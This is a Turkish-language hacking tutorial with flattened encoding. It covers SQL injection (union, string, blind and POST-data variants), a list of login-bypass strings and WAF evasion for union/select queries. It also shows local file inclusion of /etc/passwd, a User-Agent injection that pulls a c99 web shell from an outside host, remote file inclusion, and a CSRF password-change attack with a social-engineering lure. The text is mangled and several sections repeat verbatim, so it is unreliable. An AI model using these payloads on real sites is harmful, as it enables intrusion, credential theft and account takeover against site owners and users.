wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquoy dedikBize olumsuz bir yanıt verdiGirdiğimiz lsquo and lsquoxrsquo=rsquoykomutu ile siteye x=y mi diye sordukOlumsuz bir yanıt almıştıkSite bize X Nasıl Y lsquoye eşit olabilir diyefırccedila attı )
Biraz olsa Blind SQL İnjectionrsquoa benziyor bu tuumlr
Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox
Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde
Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Şeklinde Kadı ve Şifreyi ccedilektik
e-) SQL İnjection Login Bypass
SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım
Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl
SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere
adminrsquomdash
rsquo or 0=0 --
rsquo or rsquo 1=1
rsquo or rsquo 1
rsquo or rsquo
or 0=0 --
or 0=0 --
rsquo or 0=0
or 0=0
or 0=0
rsquo or rsquoxrsquo=rsquox
or x=x
rsquo) or (rsquoxrsquo=rsquox
rsquo or 1=1--
or 1=1--
or 1=1--
rsquo or a=a--
or a=a
rsquo) or (rsquoarsquo=rsquoa
) or (a=a
hi or a=a
hi or 1=1 --
hirsquo or 1=1 --
hirsquo or rsquoarsquo=rsquoa
hirsquo) or (rsquoarsquo=rsquoa
hi)or(a=a
Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz
lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım
Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz
Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu
f-) PostData SQL İnjection
Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl
Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan
ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz
Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza
Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz
ltform name=t1 method=POST action=loginaspxgt
Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır
Peki bu accedilığı nasıl kullanacağız
Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani
ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt
Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz
SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )
Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi
SQL İnjection Bypass
Merhaba arkadaşlar
Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur
SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir
a)
Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim
Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz
Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln
wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir
Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız
wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı
Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim
wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )
order+by+1mdashsonuna + koyduk
id=1 değerinin başına da ) koyduk
Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1orderby1--
wwwsayfamcomsayfaphpid=1+(order)+(by)+1--
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır
b)
Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim
Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim
wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık
wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız
wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip
Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız
wwwsayfamcomsayfaphpid=1+union+select+123456789--
yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım
Bir bypass da kullanabileceğimiz bazı karakter oluşumları
---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))
İlk olarak
wwwsayfamcomsayfaphpid=1+union+select+123456789--
deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))
wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)
wwwsayfamcomsayfaphpid=-1unionselect123456789--+
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -
wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+
wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--
wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--
şeklinde onlarca bypass teknikleri bulunmaktadır ))
c)
Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim
Şimdi sırada group_concat komutunun bypass edilmesinde
Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde
wwwsayfacomsayfaphpid=-1+union+select+123456789--
ne demiştiş 469 yansımıştı 4 den devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi
Group_concat bypass tipleride aynı mantıkla yapılır
group_concat()
grOUp_ConCat(user0x3epass)
group_concat(0x3c62723e)
şeklinde uygulamalar yapacağız
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
veya
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--
ve
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--
şeklinde bypasslar soumlz konusudur
d)
Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))
Taktiklerimiz aynıdır tekrar aynı site ile devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde yaptık bize tablo isimlerini vermedi
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum
e)
Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo
Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--
Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))
Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır
Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek
LFI(Local File İnclude)
1- Local File İnclude Nedir
LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim
2- Local File İnclude Mantığı Nedir
LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor
3- Saldırı Anı (Accedilığın Tespiti)
Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz
wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz
Bize verilen hatadan yola ccedilıkalım
Warning include() ldquohomeuserpublic_htmlsayfaphprdquo
Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz
4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)
Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık
Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım
home -gt 1
user -gt 2
public_html -gt 3
sayfaphp -gt 4
Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır
wwwsitecomsayfaphpid= etcpasswd şeklinde
-HTML Code
HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut
Komut etcpasswd
Encode 2F2F2F2Fetc2Fpasswd
Tekrar deneyelim
wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk
- CharCode
CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım
wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız
Komut etcpasswd
CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)
Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım
wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)
Şeklinde okudukDosyamız başarılı bir şekilde okundu )
5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)
Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza
Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor
wwwsitecomc99php şeklinde ccedilagırabilirsiniz
6- Local File İnclude Nerelerde Tespit Edilebilir
a-) Search kutusu
Bir Search kutusu duumlşuumlnuumln
Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde
Eğer ekrana
Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur
RFI(Remote File İnclude)1- Remote File İnclude Nedir
RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var
2- Remote File İnclude Mantığı Nedir
Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir
3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)
Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz
wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız
Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten
4- Remote File İnclude Nerelerde Tespit Edilebilir
a-Search kutusu
Bir Search (Arama) duumlşuumlnuumln
ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir
CSRFXSRF (Cross-Site RequestForgery)
1-Oumlnsoumlz
XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde
XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın
2- Cross Site Request Forgery Nedir
Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker
3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır
Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere
Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır
4 Nasıl Kullanılır - Exploitlenir
Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim
Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit
wwwsitecomforumpassworddegistirphpyenipassword=mahserat
Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım
Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde
Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir
Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım
Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana
NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek
Merhaba kardeşim
Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş
Uygulama httpmehmetkelepceorgdosyahtml
Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek
5- XSS ve CSRF Arasındaki Benzerlikler
CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır
Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle
Şimdi user sutuumlnunu ccedilekelim
wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 11)150) like 0x75736572
Diyelim ki İki kolonud a doğru tahmin ettikŞimdi ne var elimizde user ve pass kolonlarıvarİccedilerisindeki veriyi ccedilekelim
and substring((select user from users)11)=0x(tahmin edilen users)
and substring((select pass from users)21)=0x(tahmin edilen users)
Bu şekilde Hex ile harf harf tahmin ederek teker teker ccedilekiyoruz
Biraz zordur Blind SQL İnjectionAma pes etmemek gerekir
d-) String SQL İnjection
Normal bir SQL İnjection saldırısında ne yapıyorduk Oumlnce lsquo veya lsquoa koyarak SQL HatasıalıyordukDaha sonra ORDER BY komutu ile kolon sayısını oumlğrenip devam ediyordukString SQLİnjectionrsquoda işler değişiyorYani normal saldırıdaki gibi lsquo lsquoa koyuyoruz ama ORDER BY ile kolonsayısını oumlğrenmek istediğimizde oumlğrenemiyoruzYani
wwwsitecomsayfaphpid=1+order+by+1-- yapiyoruzSayfa eski haline doumlnuumlyor
wwwsitecomsayfaphpid=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyorsayfa değişmiyorBu String SQL İnjectionrsquodurHemen kullanımına geccediliyoruz
wwwsitecomsayfaphpid=1rsquo yaptık SQL Hatası aldıkHemen kolon oumlğrenelim
wwwsitecomsayfaphpid=1+order+by+10-- YaptıkSayfa eski haline geldiHata yok
wwwsitecomsayfaphpid=1+order+by+100-- YaptıkSayfada gene bir hata soumlz konusu değil
wwwsitecomsayfaphpid=1+order+by+1000-- gene bir hata yokBurada String devreye giriyor
Hemen bakalım wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquox yaptıkSayfa değişmedi hatavermediBurada sitemizin x=x mi olduğunu sorguladıkBir değişiklik olmadı yani bize olumlu youmlndecevap verdi
wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquoy dedikBize olumsuz bir yanıt verdiGirdiğimiz lsquo and lsquoxrsquo=rsquoykomutu ile siteye x=y mi diye sordukOlumsuz bir yanıt almıştıkSite bize X Nasıl Y lsquoye eşit olabilir diyefırccedila attı )
Biraz olsa Blind SQL İnjectionrsquoa benziyor bu tuumlr
Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox
Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde
Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Şeklinde Kadı ve Şifreyi ccedilektik
e-) SQL İnjection Login Bypass
SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım
Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl
SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere
adminrsquomdash
rsquo or 0=0 --
rsquo or rsquo 1=1
rsquo or rsquo 1
rsquo or rsquo
or 0=0 --
or 0=0 --
rsquo or 0=0
or 0=0
or 0=0
rsquo or rsquoxrsquo=rsquox
or x=x
rsquo) or (rsquoxrsquo=rsquox
rsquo or 1=1--
or 1=1--
or 1=1--
rsquo or a=a--
or a=a
rsquo) or (rsquoarsquo=rsquoa
) or (a=a
hi or a=a
hi or 1=1 --
hirsquo or 1=1 --
hirsquo or rsquoarsquo=rsquoa
hirsquo) or (rsquoarsquo=rsquoa
hi)or(a=a
Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz
lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım
Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz
Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu
f-) PostData SQL İnjection
Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl
Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan
ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz
Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza
Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz
ltform name=t1 method=POST action=loginaspxgt
Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır
Peki bu accedilığı nasıl kullanacağız
Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani
ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt
